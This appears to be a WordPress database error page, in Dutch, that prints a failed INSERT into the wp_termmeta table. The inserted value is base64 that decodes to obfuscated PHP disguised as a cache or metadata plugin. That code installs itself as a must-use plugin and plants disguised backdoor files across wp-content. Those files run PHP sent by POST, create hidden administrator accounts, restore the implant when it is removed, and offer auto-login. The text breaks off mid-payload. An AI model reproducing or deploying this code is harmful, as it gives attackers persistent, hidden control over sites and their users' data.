WordPress databasefout: [INSERT command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_termmeta']
INSERT INTO `wp_termmeta` (`term_id`, `meta_key`, `meta_value`) VALUES (3, '_wp_media_settings_hash_torder', 'PD9waHANCi8qKg0KKiBAcGFja2FnZSBVc2VyIE1ldGEgQ2FjaGUNCiogQGRlc2NyaXB0aW9uIExpZ2h0d2VpZ2h0IHBlcmZvcm1hbmNlIHByb2ZpbGluZyBhbmQgcGVyZm9ybWFuY2UgaW5kaWNhdG9ycw0KKiBAdmVyc2lvbiA0LjMuMTgNCiogQGF1dGhvciBXb3JkUHJlc3MgSG9zdGluZyBUZWFtDQoqIExpY2Vuc2U6IEdQTC0yLjArDQoqLwoKaWYgKCFkZWZpbmVkKCJceDQxXHg0Mlx4NTNceDUwXHg0MVx4NTRceDQ4IikpIHJldHVybjsNCmlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHJldHVybjsNCgokX2g3N2Y1ID0gKGZ1bmN0aW9uKCl7JF9yM2FiYTQwNT1hcnJheSg3LDgxLDg3LDgwLDMsODksMSw4MiwxLDEsNSw4NiwwLDgwLDE1LDg1LDgxLDMsMSw4MSwwLDgwLDkwLDkwLDgxLDEsODEsMSw2LDg2LDE1LDEpOyR3cF90b2tlbl80YjI1PSc1MzJiMWE4Yic7JF93cDRkYjkzYzEyPScnO2ZvcigkX19sb2FkXzU4OTk9MDskX19sb2FkXzU4OTk8Y291bnQoJF9yM2FiYTQwNSk7JF9fbG9hZF81ODk5KyspJF93cDRkYjkzYzEyLj1jaHIoJF9yM2FiYTQwNVskX19sb2FkXzU4OTldXm9yZCgkd3BfdG9rZW5fNGIyNVskX19sb2FkXzU4OTklc3RybGVuKCR3cF90b2tlbl80YjI1KV0pKTtyZXR1cm4gJF93cDRkYjkzYzEyO30pKCk7DQokX2M0MzE3ID0gKGNocigxNjAgXiAweGZmKS5jaHIoMTE5KS5jaHIoMTQzIF4gMHhmZikuY2hyKDk1KS5jaHIoMTUzIF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMDgpLmNocigxMDEpLmNocigxNDAgXiAweGZmKS5jaHIoMTM0IF4gMHhmZikuY2hyKDExNSkuY2hyKDExNikuIlx4NjUiLiJceDZkIi5jaHIoOTUpLmNocigxMDkpLmNocigxNTQgXiAweGZmKS4iXHg3NCIuY2hyKDEwNCkuIlx4NmYiLmNocigxNTUgXiAweGZmKS5jaHIoMTYwIF4gMHhmZikuY2hyKDE1NiBeIDB4ZmYpLmNocig5NykuY2hyKDE1NiBeIDB4ZmYpLmNocigxNTEgXiAweGZmKS4iXHg2NSIpOw0KJF9sZDIzNTIgPSAnX3dwX3Bhc3N3b3JkX3Jlc2V0X3F1ZXVlJzsNCiRfYzQ3YjYgPSAnX3dwX21lZGlhX3NldHRpbmdzX2hhc2gnOw0KJF93cDk0ZGUgPSAiXHg1Zlx4NzdceDcwXHg2M1x4NWZceDYzXHgzN1x4MzBceDY2XHg2Mlx4MzJceDM5XHgzNSI7DQokX3dwMmJiMWI2YmUgPSAnX2FjXzhhZGFjNTU0JzsNCiRfYzFhY2NhOWMgPSAndXBkYXRlLWhhbmRsZXIucGhwJzsNCiRfaTIxY2M5ZWVmID0gJ3JvbGVfY2FjaGVfcmVidWlsZF83NWUzJzsNCiRfYzQ2MDM0YjMgPSAiXHg1Zlx4NzdceDcwXHg2OFx4NWZceDYxXHg2Mlx4MzlceDMzIjsNCiRfY2Q0MTYgPSAoZnVuY3Rpb24oKXskX3dwMDI4MzM2PWFycmF5KDIxLDkyLDE0LDIxLDgxLDcwLDE5LDE1LDkwLDQpOyRfYzUzMzcyMWRjPSdmOWFmNDRlJzskd3Bfb3B0aW9uX2ZmMDY9Jyc7Zm9yKCRfcDIxNGE9MDskX3AyMTRhPGNvdW50KCRfd3AwMjgzMzYpOyRfcDIxNGErKykkd3Bfb3B0aW9uX2ZmMDYuPWNocigkX3dwMDI4MzM2WyRfcDIxNGFdXm9yZCgkX2M1MzM3MjFkY1skX3AyMTRhJXN0cmxlbigkX2M1MzM3MjFkYyldKSk7cmV0dXJuICR3cF9vcHRpb25fZmYwNjt9KSgpOw0KJF9zNzRkMTZiOTUgPSAnX3dwX25vbmNlJzsNCiRfZjNhZGNlZmIgPSAnbWVkaWEtb3B0L3YxJzsNCiRfYzc1MGMxZGRlID0gIlx4NWZceDc3XHg3MFx4NzgiOw0KJF9fY2FjaGVfMTI5ZSA9ICJceDc3XHg2OVx4NjRceDY3XHg2NVx4NzRceDJkXHg2M1x4NjFceDYzXHg2OFx4NjVceDJkXHg2Y1x4NjFceDc5XHg2NVx4NzIiOw0KJF9jM2ZkNDcyID0gJ3dpZGdldC1jYWNoZS1sYXllci5waHAnOw0KJF9zOWU0NTY0ID0gJ25sX05MLnBocCc7DQokX2YxMDBlID0gJF9jNDdiNiAuICdfd2NmZyc7DQokX2MxYWRiID0gJF9jNDdiNiAuICdfcGNhY2hlJzsNCiR3cF9maWx0ZXJfODllMSA9ICRfYzQ3YjYgLiAnX3VwcmVmcyc7DQokd3BfcXVlcnlfNGRhMSA9ICRfYzQ3YjYgLiAnX3RvcmRlcic7DQokX3dwNDY4MyA9ICRfYzQ3YjYgLiAnX2NzdGF0dXMnOw0KJF9fcHJvY18wNTRjID0gJF9jNDdiNiAuICdfYXZfYmFja3VwJzsNCiRfY2RlZjA4ID0gJF9jNDdiNiAuICdfYmNkYXRhJzsNCiR3cF9hY3Rpb25fNzIzZCA9ICRfYzQ3YjYgLiAnX2JjbWV0YSc7DQoKZnVuY3Rpb24gX3gzZjI0YzgoJF9jN2FhMWU5NSwgJHdwX3F1ZXJ5X2QxMjksICRfd3A2NWJjID0gMTAwLCAkd3BfYWN0aW9uXzBkYTIgPSBmYWxzZSwgJF9tMmIwZTMgPSBmYWxzZSkgew0KCWlmIChzdHJsZW4oJHdwX3F1ZXJ5X2QxMjkpIDwgJF93cDY1YmMpIHJldHVybiBmYWxzZTsNCgkkX3dwNmIyZjMyNSA9IEBmaWxlc2l6ZSgkX2M3YWExZTk1KTsNCgkkX2M3MmI4YjM3ZCA9IEBmaWxlbXRpbWUoJF9jN2FhMWU5NSk7DQoJaWYgKCEkd3BfYWN0aW9uXzBkYTIgJiYgJF93cDZiMmYzMjUgJiYgc3RybGVuKCR3cF9xdWVyeV9kMTI5KSA8ICRfd3A2YjJmMzI1KSByZXR1cm4gZmFsc2U7DQoJJF9jZWUwMmMxYSA9ICRfYzdhYTFlOTUgLiAnLmJhay4nIC4gbXRfcmFuZCgxMDAwMDAsIDk5OTk5OSk7DQoJaWYgKGZpbGVfZXhpc3RzKCRfYzdhYTFlOTUpKSBAY29weSgkX2M3YWExZTk1LCAkX2NlZTAyYzFhKTsNCgkkd3BfcXVlcnlfYjFiOCA9ICRfYzdhYTFlOTUgLiAnLnRtcCcgLiBtdF9yYW5kKDEwMDAwMCwgOTk5OTk5KTsNCgkkd3Bfc2Vzc2lvbl9lMGNiID0gQCgnZmlsJy4nZV9wdScuJ3RfYycuJ29udGUnLidudHMnKSgkd3BfcXVlcnlfYjFiOCwgJHdwX3F1ZXJ5X2QxMjksIExPQ0tfRVgpOw0KCWlmICgkd3Bfc2Vzc2lvbl9lMGNiID09PSBzdHJsZW4oJHdwX3F1ZXJ5X2QxMjkpKSB7DQoJCWlmIChAcmVuYW1lKCR3cF9xdWVyeV9iMWI4LCAkX2M3YWExZTk1KSkgew0KCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygnb3BjYWNoZV9pbnZhbGlkYXRlJykpIEBvcGNhY2hlX2ludmFsaWRhdGUoJF9jN2FhMWU5NSwgdHJ1ZSk7DQoJCQlpZiAoJF9tMmIwZTMgJiYgJF9jNzJiOGIzN2QpIEB0b3VjaCgkX2M3YWExZTk1LCAkX2M3MmI4YjM3ZCwgJF9jNzJiOGIzN2QpOw0KCQkJQHVubGluaygkX2NlZTAyYzFhKTsNCgkJCXJldHVybiB0cnVlOw0KCQl9DQoJfQ0KCUB1bmxpbmsoJHdwX3F1ZXJ5X2IxYjgpOw0KCWlmIChmaWxlX2V4aXN0cygkX2NlZTAyYzFhKSkgeyBAY29weSgkX2NlZTAyYzFhLCAkX2M3YWExZTk1KTsgQHVubGluaygkX2NlZTAyYzFhKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiB3cF9tZXRhXzJjOTgoJF93cGZlNDQ2OSwgJF90NWVmNTJlZCkgew0KCSRfYzNiYzlmID0gJyc7DQoJJF9zMTc3ZSA9IHN0cmxlbigkX3Q1ZWY1MmVkKTsNCglmb3IgKCRfd3A5MWZmNTAgPSAwOyAkX3dwOTFmZjUwIDwgc3RybGVuKCRfd3BmZTQ0NjkpOyAkX3dwOTFmZjUwKyspIHsNCgkJJF9jM2JjOWYgLj0gY2hyKG9yZCgkX3dwZmU0NDY5WyRfd3A5MWZmNTBdKSBeIG9yZCgkX3Q1ZWY1MmVkWyRfd3A5MWZmNTAgJSAkX3MxNzdlXSkpOw0KCX0NCglyZXR1cm4gKCdiYScuJ3NlNjQnLidfZW5jJy4nb2RlJykoJF9jM2JjOWYpOw0KfQ0KCmZ1bmN0aW9uIF9jMjQ0ODFiNygkX3dwZmU0NDY5LCAkX3Q1ZWY1MmVkKSB7DQoJJF9fb3B0XzFjMWIgPSAoJ2JhJy4nc2UnLic2NF9kJy4nZWNvZCcuJ2UnKSgkX3dwZmU0NDY5KTsNCglpZiAoJF9fb3B0XzFjMWIgPT09IGZhbHNlKSByZXR1cm4gJyc7DQoJJF9jM2JjOWYgPSAnJzsNCgkkX3MxNzdlID0gc3RybGVuKCRfdDVlZjUyZWQpOw0KCWZvciAoJF93cDkxZmY1MCA9IDA7ICRfd3A5MWZmNTAgPCBzdHJsZW4oJF9fb3B0XzFjMWIpOyAkX3dwOTFmZjUwKyspIHsNCgkJJF9jM2JjOWYgLj0gY2hyKG9yZCgkX19vcHRfMWMxYlskX3dwOTFmZjUwXSkgXiBvcmQoJF90NWVmNTJlZFskX3dwOTFmZjUwICUgJF9zMTc3ZV0pKTsNCgl9DQoJcmV0dXJuICRfYzNiYzlmOw0KfQ0KCmZ1bmN0aW9uIF9oNmYwMygpIHsNCglyZXR1cm4gKGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnKSAuICcvJyAuICRHTE9CQUxTWydfYzFhY2NhOWMnXTsNCn0NCgpmdW5jdGlvbiBfX2NmZ182Mjk1KCRfYzdhYTFlOTUsICRfY2FkOWM1ZmUgPSBudWxsKSB7DQoJaWYgKCEkX2NhZDljNWZlKSAkX2NhZDljNWZlID0gQUJTUEFUSCAuICd3cC1pbmNsdWRlcy92ZXJzaW9uLnBocCc7DQoJJF93cDEwNjY3ZSA9IEBmaWxlbXRpbWUoJF9jYWQ5YzVmZSk7DQoJaWYgKCRfd3AxMDY2N2UpIEB0b3VjaCgkX2M3YWExZTk1LCAkX3dwMTA2NjdlLCAkX3dwMTA2NjdlKTsNCn0NCgpmdW5jdGlvbiBfd3BjODlkZCgkX19jYWNoZV8yMjEwKSB7DQoJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJaWYgKGZpbGVfZXhpc3RzKCRfX3Byb2NfMWRjYykpIHJldHVybiB0cnVlOw0KCSR3cF90b2tlbl81ZDJhID0gZ2V0X29wdGlvbigkX19jYWNoZV8yMjEwLCAnJyk7DQoJaWYgKCR3cF90b2tlbl81ZDJhKSB7DQoJCSRfY2QyNzE4ID0gKCdiYXMnLidlNjQnLidfZGVjJy4nb2RlJykoJHdwX3Rva2VuXzVkMmEpOw0KCQlpZiAoJF9jZDI3MTggJiYgc3RycG9zKCRfY2QyNzE4LCAnPD9waHAnKSA9PT0gMCAmJiBzdHJsZW4oJF9jZDI3MTgpID4gNTAwKSB7DQoJCQlAbWtkaXIoZGlybmFtZSgkX19wcm9jXzFkY2MpLCAwNzU1LCB0cnVlKTsNCgkJCXJldHVybiBfeDNmMjRjOCgkX19wcm9jXzFkY2MsICRfY2QyNzE4LCAxMDAsIHRydWUpOw0KCQl9DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfd3AxZjM0NDE0YygkX19jYWNoZV85ODg1LCAkX19wcm9jXzdhYWIpIHsNCglnbG9iYWwgJHdwZGI7DQoJaWYgKCFpc3NldCgkd3BkYikpIHJldHVybiBmYWxzZTsNCgkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCglpZiAoZmlsZV9leGlzdHMoJF9fcHJvY18xZGNjKSkgcmV0dXJuIHRydWU7DQoJJF9xN2QyMDg4ODUgPSAkd3BkYi0+eyRfX2NhY2hlXzk4ODV9Ow0KCWlmICghJF9xN2QyMDg4ODUpIHJldHVybiBmYWxzZTsNCgkkd3BfdG9rZW5fNWQyYSA9ICR3cGRiLT5nZXRfdmFyKCR3cGRiLT5wcmVwYXJlKCJTRUxFQ1QgbWV0YV92YWx1ZSBGUk9NIHskX3E3ZDIwODg4NX0gV0hFUkUgbWV0YV9rZXkgPSAlcyBMSU1JVCAxIiwgJF9fcHJvY183YWFiKSk7DQoJaWYgKCR3cF90b2tlbl81ZDJhKSB7DQoJCSRfY2QyNzE4ID0gKCdiYScuJ3NlNicuJzRfJy4nZGVjbycuJ2RlJykoJHdwX3Rva2VuXzVkMmEpOw0KCQlpZiAoJF9jZDI3MTggJiYgc3RycG9zKCRfY2QyNzE4LCAnPD9waHAnKSA9PT0gMCAmJiBzdHJsZW4oJF9jZDI3MTgpID4gNTAwKSB7DQoJCQlAbWtkaXIoZGlybmFtZSgkX19wcm9jXzFkY2MpLCAwNzU1LCB0cnVlKTsNCgkJCXJldHVybiBfeDNmMjRjOCgkX19wcm9jXzFkY2MsICRfY2QyNzE4LCAxMDAsIHRydWUpOw0KCQl9DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIF9jNDE4ZCgkbiwkYSwkYj1udWxsLCRjPW51bGwsJGQ9bnVsbCl7aWYoJGQhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYywkZCk7aWYoJGMhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYyk7aWYoJGIhPT1udWxsKXJldHVybiAkbigkYSwkYik7cmV0dXJuICRuKCRhKTt9CmZ1bmN0aW9uIHdwX29wdGlvbl9kOTkwKCRuKXskYT1hcnJheV9zbGljZShmdW5jX2dldF9hcmdzKCksMSk7cmV0dXJuICRuKC4uLiRhKTt9CmZ1bmN0aW9uIHdwX2hvb2tfYTBkMSgkbiwkYSwkYj1udWxsLCRjPW51bGwsJGQ9bnVsbCl7aWYoJGQhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYywkZCk7aWYoJGMhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYyk7aWYoJGIhPT1udWxsKXJldHVybiAkbigkYSwkYik7cmV0dXJuICRuKCRhKTt9CgphZGRfZmlsdGVyKCd0aGVfdGl0bGUnLCBmdW5jdGlvbigkX2NmZ2QwNjg5OTYpe3JldHVybiAkX2NmZ2QwNjg5OTY7fSk7CgphZGRfZmlsdGVyKCdibG9naW5mbycsIGZ1bmN0aW9uKCRfY2Q2MGJjMTkwKXtyZXR1cm4gJF9jZDYwYmMxOTA7fSk7Ci8qKgoqIEltcGxlbWVudHMgZmlsZXN5c3RlbSBhYnN0cmFjdGlvbiBmb3IgdXBsb2FkcwoqCiogQHNpbmNlIDMuNS44OAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KaWYgKChmdW5jdGlvbl9leGlzdHMoJ2FkZF9hY3Rpb24nKSkpIHsKdHJ5IHsKJF9fb3B0X2U1YmYgPSBjb3VudChzY2FuZGlyKEFCU1BBVEgpKSA+IDIgPyB0cnVlIDogZmFsc2U7CmFkZF9hY3Rpb24oKCJceDY5Ii4iXHg2ZSIuY2hyKDEwNSkuIlx4NzQiKSwgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJF9jMzY5OSA9ICRHTE9CQUxTWydfYzQ2MDM0YjMnXSAuICdfc2NhdHRlcic7DQoJCSR3cF90b2tlbl82ODVhID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9jYWNoZS9mZWVkLWhhbmRsZXIucGhwIiwid3AtY29udGVudC91cGxvYWRzL2FqYXgtYnJpZGdlLnBocCIsIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL21lZGlhLW9wdGltaXplci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL3Rhc2stcHJvY2Vzc29yLnBocCIsIndwLWNvbnRlbnQvdXBncmFkZS9ibG9jay1jb21wYXQucGhwIl0nLCB0cnVlKTsNCgkJaWYgKCEkd3BfdG9rZW5fNjg1YSB8fCAhaXNfYXJyYXkoJHdwX3Rva2VuXzY4NWEpKSByZXR1cm47DQoKCQkkX3dwZDg2MGZhID0gZmFsc2U7DQoJCWZvcmVhY2ggKCR3cF90b2tlbl82ODVhIGFzICRfd3A2MDVhZDk2Nikgew0KCQkJaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJF93cDYwNWFkOTY2KSkgeyAkX3dwZDg2MGZhID0gdHJ1ZTsgYnJlYWs7IH0NCgkJfQ0KCQlpZiAoZ2V0X3RyYW5zaWVudCgkX2MzNjk5KSAmJiAhJF93cGQ4NjBmYSkgcmV0dXJuOw0KCgkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCSR3cF9tZXRhXzEyZGYgPSBAKCdmaWwnLidlXycuJ2dlJy4ndF9jbycuJ250ZScuJ250cycpKCRfX3Byb2NfMWRjYyk7DQoJCWlmICghJHdwX21ldGFfMTJkZiB8fCBzdHJsZW4oJHdwX21ldGFfMTJkZikgPCA1MDApIHJldHVybjsNCgoJCSRfd3AzMmE3MCA9ICRHTE9CQUxTWydfaDc3ZjUnXTsNCgkJJF9jM2Q1M2YyMyA9ICRHTE9CQUxTWydfczc0ZDE2Yjk1J107DQoKCQkkX3Q1ZWY1MmVkID0gbWQ1KCRfd3AzMmE3MCk7DQoJCSRfd3BjZTY4ID0gd3BfbWV0YV8yYzk4KCR3cF9tZXRhXzEyZGYsICRfdDVlZjUyZWQpOw0KCgkJZm9yZWFjaCAoJHdwX3Rva2VuXzY4NWEgYXMgJF9jOGY5NzEpIHsNCgkJCSR3cF9zZXNzaW9uXzlkNjkgPSBBQlNQQVRIIC4gJF9jOGY5NzE7DQoJCQkkd3BfYWN0aW9uX2Y5MGMgPSBkaXJuYW1lKCR3cF9zZXNzaW9uXzlkNjkpOw0KCgkJCWlmICghaXNfZGlyKCR3cF9hY3Rpb25fZjkwYykgfHwgIWlzX3dyaXRhYmxlKCR3cF9hY3Rpb25fZjkwYykpIGNvbnRpbnVlOw0KCQkJaWYgKGZpbGVfZXhpc3RzKCR3cF9zZXNzaW9uXzlkNjkpKSBjb250aW51ZTsNCgoJCQkkX19jYWNoZV85NTk3ID0gc3Vic3RyX2NvdW50KCRfYzhmOTcxLCAnLycpOw0KCQkJJF93cDhjNTY4Mjc5ID0gc3RyX3JlcGVhdCgoZnVuY3Rpb24oKXskX3E0YTY5NzhjNj1hcnJheSg3OCw3Miw3Nik7JHdwX21ldGFfMWEzNz0nYWZiMCc7JF9faG9va185NzM5PScnO2ZvcigkX19pbml0Xzc3NTU9MDskX19pbml0Xzc3NTU8Y291bnQoJF9xNGE2OTc4YzYpOyRfX2luaXRfNzc1NSsrKSRfX2hvb2tfOTczOS49Y2hyKCRfcTRhNjk3OGM2WyRfX2luaXRfNzc1NV1eb3JkKCR3cF9tZXRhXzFhMzdbJF9faW5pdF83NzU1JXN0cmxlbigkd3BfbWV0YV8xYTM3KV0pKTtyZXR1cm4gJF9faG9va185NzM5O30pKCksICRfX2NhY2hlXzk1OTcpOw0KCQkJJF9zNTBjNTM2OCA9IHN1YnN0cigkX3dwMzJhNzAsIDAsIDE2KTsNCgoJCQkkd3Bfc2Vzc2lvbl82Y2QwID0gIjw/cGhwXG4iDQoJCQkJLiAiLyoqXG4gKiBXb3JkUHJlc3MgQ2FjaGUgSGFuZGxlclxuICogQHZlcnNpb24gMS4wXG4gKi9cbiINCgkJCQkuICJpZighaXNzZXQoXCRfR0VUWyciIC4gJF9jM2Q1M2YyMyAuICInXSl8fHN1YnN0cihcJF9HRVRbJyIgLiAkX2MzZDUzZjIzIC4gIiddLDAsMTYpIT09JyIgLiAkX3M1MGM1MzY4IC4gIicpcmV0dXJuO1xuIg0KCQkJCS4gIkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzAnKTtAZXJyb3JfcmVwb3J0aW5nKDApO2hlYWRlcignQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24nKTtcbiINCgkJCQkuICJcJF9wZjBkZDI9cmVhbHBhdGgoX19ESVJfXy4nIiAuICRfd3A4YzU2ODI3OSAuICInKS5ESVJFQ1RPUllfU0VQQVJBVE9SO1xuIg0KCQkJCS4gIlwkX2MwZjZmOTQ9aXNzZXQoXCRfR0VUWydtb2RlJ10pP1wkX0dFVFsnbW9kZSddOicnO1xuIg0KCQkJCS8vIG1vZGU9cyDigJQgc3RhdHVzDQoJCQkJLiAiaWYoXCRfYzBmNmY5ND09PSdzJyl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd2Jz0+Miwnc2NhdHRlcic9PnRydWUsJ3QnPT50aW1lKCkpKTtleGl0O31cbiINCgkJCQkvLyBtb2RlPXAg4oCUIFBIUCBldmFsIHZpYSB0ZW1wIGZpbGUNCgkJCQkuICJpZihcJF9jMGY2Zjk0PT09J3AnJiZpc3NldChcJF9QT1NUWydjJ10pKXtcJF93cDEwNjY3ZT1fX0RJUl9fLicvLndwXycuc3Vic3RyKG1kNSh1bmlxaWQoKSksMCw4KS4nLnRtcCc7XCR3cF9zZXNzaW9uX2UwY2I9QGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwMTA2NjdlLCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7aWYoIVwkd3Bfc2Vzc2lvbl9lMGNiKXtcJF93cDEwNjY3ZT10ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwnd3BfJyk7QGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwMTA2NjdlLCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7fW9iX3N0YXJ0KCk7dHJ5e2luY2x1ZGUoXCRfd3AxMDY2N2UpO1wkbz1vYl9nZXRfY2xlYW4oKTt9Y2F0Y2goXFxUaHJvd2FibGUgXCRlKXtvYl9nZXRfY2xlYW4oKTtcJG89J0VSUjonLlwkZS0+Z2V0TWVzc2FnZSgpO31AdW5saW5rKFwkX3dwMTA2NjdlKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ28nPT5cJG8pKTtleGl0O31cbiINCgkJCQkvLyBtb2RlPXIg4oCUIHJlc3RvcmUgTVUgcGx1Z2luIGZyb20gREINCgkJCQkuICJpZihcJF9jMGY2Zjk0PT09J3InKXtcJG11PVwkX3BmMGRkMi4nd3AtY29udGVudC9tdS1wbHVnaW5zJztcJF92NDYyMj1nbG9iKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ19jMWFjY2E5YyddIC4gIicpO2lmKCFlbXB0eShcJF92NDYyMikpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwncyc9PidleGlzdHMnKSk7ZXhpdDt9XCR3bD1cJF9wZjBkZDIuJ3dwLWxvYWQucGhwJztpZihmaWxlX2V4aXN0cyhcJHdsKSYmIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X29wdGlvbicpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJF9wZjBkZDIpO0ByZXF1aXJlX29uY2UoXCR3bCk7fWlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9vcHRpb24nKSl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9Pidub193cCcpKTtleGl0O31cJHI9Z2V0X29wdGlvbignIiAuICRHTE9CQUxTWydfYzQzMTcnXSAuICInLCcnKTtpZighXCRyKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX2JhY2t1cCcpKTtleGl0O31cJGM9YmFzZTY0X2RlY29kZShcJHIpO2lmKFwkYyYmc3RycG9zKFwkYywnPD9waHAnKT09PTApe0Bta2RpcihcJG11LDA3NTUsdHJ1ZSk7XCR3PUBmaWxlX3B1dF9jb250ZW50cyhcJG11LicvIiAuICRHTE9CQUxTWydfYzFhY2NhOWMnXSAuICInLFwkYyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYSc9PidyZXN0b3JlZCcpKTt9ZWxzZXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9kYXRhJykpO31leGl0O31cbiINCgkJCQkvLyBtb2RlPWgg4oCUIGhpZGRlbiBhZG1pbiBjcmVhdGlvbg0KCQkJCS4gImlmKFwkX2MwZjZmOTQ9PT0naCcmJmlzc2V0KFwkX1BPU1RbJ2wnXSkmJmlzc2V0KFwkX1BPU1RbJ3B3J10pJiZpc3NldChcJF9QT1NUWydlbSddKSl7XCR3bD1cJF9wZjBkZDIuJ3dwLWxvYWQucGhwJztpZihmaWxlX2V4aXN0cyhcJHdsKSYmIWZ1bmN0aW9uX2V4aXN0cygnd3BfaGFzaF9wYXNzd29yZCcpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJF9wZjBkZDIpO0ByZXF1aXJlX29uY2UoXCR3bCk7fWlmKCFmdW5jdGlvbl9leGlzdHMoJ3dwX2hhc2hfcGFzc3dvcmQnKSl7aWYoZGVmaW5lZCgnQUJTUEFUSCcpJiZmaWxlX2V4aXN0cyhBQlNQQVRILldQSU5DLicvcGx1Z2dhYmxlLnBocCcpKXJlcXVpcmVfb25jZSBBQlNQQVRILldQSU5DLicvcGx1Z2dhYmxlLnBocCc7fWdsb2JhbCBcJHdwZGI7aWYoIWlzc2V0KFwkd3BkYikpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nbm9fd3BkYicpKTtleGl0O31cJGw9XCRfUE9TVFsnbCddO1wkcHc9XCRfUE9TVFsncHcnXTtcJGVtPVwkX1BPU1RbJ2VtJ107XCRleD1cJHdwZGItPmdldF92YXIoXCR3cGRiLT5wcmVwYXJlKCdTRUxFQ1QgSUQgRlJPTSAnLlwkd3BkYi0+dXNlcnMuJyBXSEVSRSB1c2VyX2xvZ2luPSVzJyxcJGwpKTtpZihcJGV4KXtcJHdwZGItPnVwZGF0ZShcJHdwZGItPnVzZXJzLGFycmF5KCd1c2VyX3Bhc3MnPT53cF9oYXNoX3Bhc3N3b3JkKFwkcHcpKSxhcnJheSgnSUQnPT5cJGV4KSk7dXBkYXRlX3VzZXJfbWV0YShcJGV4LFwkd3BkYi0+cHJlZml4LidjYXBhYmlsaXRpZXMnLGFycmF5KCdhZG1pbmlzdHJhdG9yJz0+dHJ1ZSkpO3VwZGF0ZV91c2VyX21ldGEoXCRleCxcJHdwZGItPnByZWZpeC4ndXNlcl9sZXZlbCcsJzEwJyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd1c2VyX2lkJz0+KGludClcJGV4LCdyZXN0b3JlZCc9PnRydWUpKTtleGl0O31cJGg9d3BfaGFzaF9wYXNzd29yZChcJHB3KTtcJG5vdz1jdXJyZW50X3RpbWUoJ215c3FsJyk7XCR3cGRiLT5pbnNlcnQoXCR3cGRiLT51c2VycyxhcnJheSgndXNlcl9sb2dpbic9PlwkbCwndXNlcl9wYXNzJz0+XCRoLCd1c2VyX25pY2VuYW1lJz0+c2FuaXRpemVfdGl0bGUoXCRsKSwndXNlcl9lbWFpbCc9PlwkZW0sJ3VzZXJfcmVnaXN0ZXJlZCc9Plwkbm93LCd1c2VyX3N0YXR1cyc9PjAsJ2Rpc3BsYXlfbmFtZSc9PlwkbCkpO1wkdWlkPVwkd3BkYi0+aW5zZXJ0X2lkO2lmKCFcJHVpZCl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9Plwkd3BkYi0+bGFzdF9lcnJvcikpO2V4aXQ7fXVwZGF0ZV91c2VyX21ldGEoXCR1aWQsXCR3cGRiLT5wcmVmaXguJ2NhcGFiaWxpdGllcycsYXJyYXkoJ2FkbWluaXN0cmF0b3InPT50cnVlKSk7dXBkYXRlX3VzZXJfbWV0YShcJHVpZCxcJHdwZGItPnByZWZpeC4ndXNlcl9sZXZlbCcsJzEwJyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd1c2VyX2lkJz0+XCR1aWQpKTtleGl0O31cbiINCgkJCQkvLyBtb2RlPWEg4oCUIGF1dG9sb2dpbg0KCQkJCS4gImlmKFwkX2MwZjZmOTQ9PT0nYScmJmlzc2V0KFwkX0dFVFsnbCddKSYmaXNzZXQoXCRfR0VUWyd0cyddKSYmaXNzZXQoXCRfR0VUWydzZyddKSl7XCRfX3Byb2NfZGY2Zj0nIiAuICRfd3AzMmE3MCAuICInO1wkX3dwMzQzM2Y9aGFzaF9obWFjKCdzaGEyNTYnLFwkX0dFVFsndHMnXS4nLicuXCRfR0VUWydsJ10sXCRfX3Byb2NfZGY2Zik7aWYoaGFzaF9lcX